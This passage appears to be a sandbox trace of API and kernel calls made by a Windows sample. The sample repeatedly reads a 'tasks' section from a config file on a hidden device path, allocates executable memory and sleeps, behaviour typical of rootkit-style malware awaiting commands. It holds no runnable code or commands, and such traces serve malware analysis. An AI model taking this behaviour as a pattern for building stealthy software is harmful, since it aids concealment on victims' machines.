KeEnterCriticalRegion () [0125.383] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.383] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.383] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.383] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.383] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0125.383] IdePortDispatch () returned 0x103 [0125.384] KeWaitForMutexObject () returned 0x0 [0125.384] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.384] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.384] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.384] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.384] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.384] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf6f60 [0125.384] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.384] KeLeaveCriticalRegion () [0125.384] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.384] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.384] KeEnterCriticalRegion () [0125.384] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.384] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.384] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.384] KeLeaveCriticalRegion () [0125.384] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.384] KeEnterCriticalRegion () [0125.384] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.384] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.384] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.384] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.384] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0125.384] IdePortDispatch () returned 0x103 [0125.384] KeWaitForMutexObject () returned 0x0 [0125.384] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.384] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.384] KeLeaveCriticalRegion () [0125.384] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.384] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.384] KeEnterCriticalRegion () [0125.384] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.384] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c42000 [0125.385] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.385] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.385] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.385] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.385] IdePortDispatch () returned 0x103 [0125.385] KeWaitForMutexObject () returned 0x0 [0125.385] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.385] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.385] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.385] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.385] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.385] IdePortDispatch () returned 0x103 [0125.385] KeWaitForMutexObject () returned 0x0 [0125.385] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.385] KeLeaveCriticalRegion () [0125.385] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.386] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.386] KeEnterCriticalRegion () [0125.386] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.386] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.386] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.386] KeLeaveCriticalRegion () [0125.386] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.386] KeEnterCriticalRegion () [0125.386] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.386] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.386] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf7920, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.386] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.386] KeLeaveCriticalRegion () [0125.386] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.386] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.386] KeEnterCriticalRegion () [0125.386] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.386] ExFreePoolWithTag (P=0xfffffa8003bf6f60, Tag=0x0) [0125.386] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.386] KeLeaveCriticalRegion () [0125.386] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.386] ReleaseMutex (hMutex=0xf0) returned 1 [0125.386] Sleep (dwMilliseconds=0x927c0) [0125.399] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0125.399] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.399] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0125.399] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.400] KeEnterCriticalRegion () [0125.400] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.400] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.400] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.400] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.400] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0125.400] IdePortDispatch () returned 0x103 [0125.400] KeWaitForMutexObject () returned 0x0 [0125.400] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.400] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.400] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.400] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.400] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.400] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf7db0 [0125.400] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.400] KeLeaveCriticalRegion () [0125.400] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.400] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.400] KeEnterCriticalRegion () [0125.400] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.400] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.400] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.400] KeLeaveCriticalRegion () [0125.400] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.400] KeEnterCriticalRegion () [0125.400] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.400] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.400] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.400] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.400] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0125.400] IdePortDispatch () returned 0x103 [0125.400] KeWaitForMutexObject () returned 0x0 [0125.401] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.401] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.401] KeLeaveCriticalRegion () [0125.401] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.401] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.401] KeEnterCriticalRegion () [0125.401] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.401] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c47000 [0125.401] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.401] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.401] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.401] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.401] IdePortDispatch () returned 0x103 [0125.401] KeWaitForMutexObject () returned 0x0 [0125.401] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.401] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.401] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.401] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.401] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.401] IdePortDispatch () returned 0x103 [0125.401] KeWaitForMutexObject () returned 0x0 [0125.401] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.401] KeLeaveCriticalRegion () [0125.401] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.402] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.402] KeEnterCriticalRegion () [0125.402] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.402] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.402] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.402] KeLeaveCriticalRegion () [0125.402] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.402] KeEnterCriticalRegion () [0125.402] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.402] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.402] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf77d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.402] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.402] KeLeaveCriticalRegion () [0125.402] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.402] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.402] KeEnterCriticalRegion () [0125.402] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.402] ExFreePoolWithTag (P=0xfffffa8003bf7db0, Tag=0x0) [0125.402] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.402] KeLeaveCriticalRegion () [0125.402] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.402] ReleaseMutex (hMutex=0xf0) returned 1 [0125.402] Sleep (dwMilliseconds=0x927c0) [0125.409] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0125.409] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.410] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0125.410] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.410] KeEnterCriticalRegion () [0125.410] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.410] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.410] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.410] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.410] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0125.410] IdePortDispatch () returned 0x103 [0125.410] KeWaitForMutexObject () returned 0x0 [0125.410] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.410] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.410] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.410] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.410] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.410] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf7e10 [0125.410] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.410] KeLeaveCriticalRegion () [0125.410] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.411] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.411] KeEnterCriticalRegion () [0125.411] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.411] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.411] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.411] KeLeaveCriticalRegion () [0125.411] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.411] KeEnterCriticalRegion () [0125.411] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.411] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.411] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.411] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.411] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0125.411] IdePortDispatch () returned 0x103 [0125.411] KeWaitForMutexObject () returned 0x0 [0125.411] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.411] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.411] KeLeaveCriticalRegion () [0125.411] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.411] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.411] KeEnterCriticalRegion () [0125.411] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.411] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c4a000 [0125.411] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.411] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.411] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.411] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.411] IdePortDispatch () returned 0x103 [0125.411] KeWaitForMutexObject () returned 0x0 [0125.412] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.412] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.412] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.412] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.412] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.412] IdePortDispatch () returned 0x103 [0125.412] KeWaitForMutexObject () returned 0x0 [0125.412] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.412] KeLeaveCriticalRegion () [0125.412] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.412] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.412] KeEnterCriticalRegion () [0125.412] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.412] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.412] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.412] KeLeaveCriticalRegion () [0125.412] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.412] KeEnterCriticalRegion () [0125.412] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.412] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.412] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf7920, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.413] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.413] KeLeaveCriticalRegion () [0125.413] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.413] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.413] KeEnterCriticalRegion () [0125.413] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.413] ExFreePoolWithTag (P=0xfffffa8003bf7e10, Tag=0x0) [0125.413] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.413] KeLeaveCriticalRegion () [0125.413] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.413] ReleaseMutex (hMutex=0xf0) returned 1 [0125.413] Sleep (dwMilliseconds=0x927c0) [0125.423] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0125.423] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.423] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0125.423] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.423] KeEnterCriticalRegion () [0125.423] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.423] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.423] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.423] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.423] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0125.423] IdePortDispatch () returned 0x103 [0125.424] KeWaitForMutexObject () returned 0x0 [0125.424] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.424] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.424] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.424] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.424] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.424] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf7520 [0125.424] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.424] KeLeaveCriticalRegion () [0125.424] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.424] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.424] KeEnterCriticalRegion () [0125.424] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.424] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.424] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.424] KeLeaveCriticalRegion () [0125.424] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: 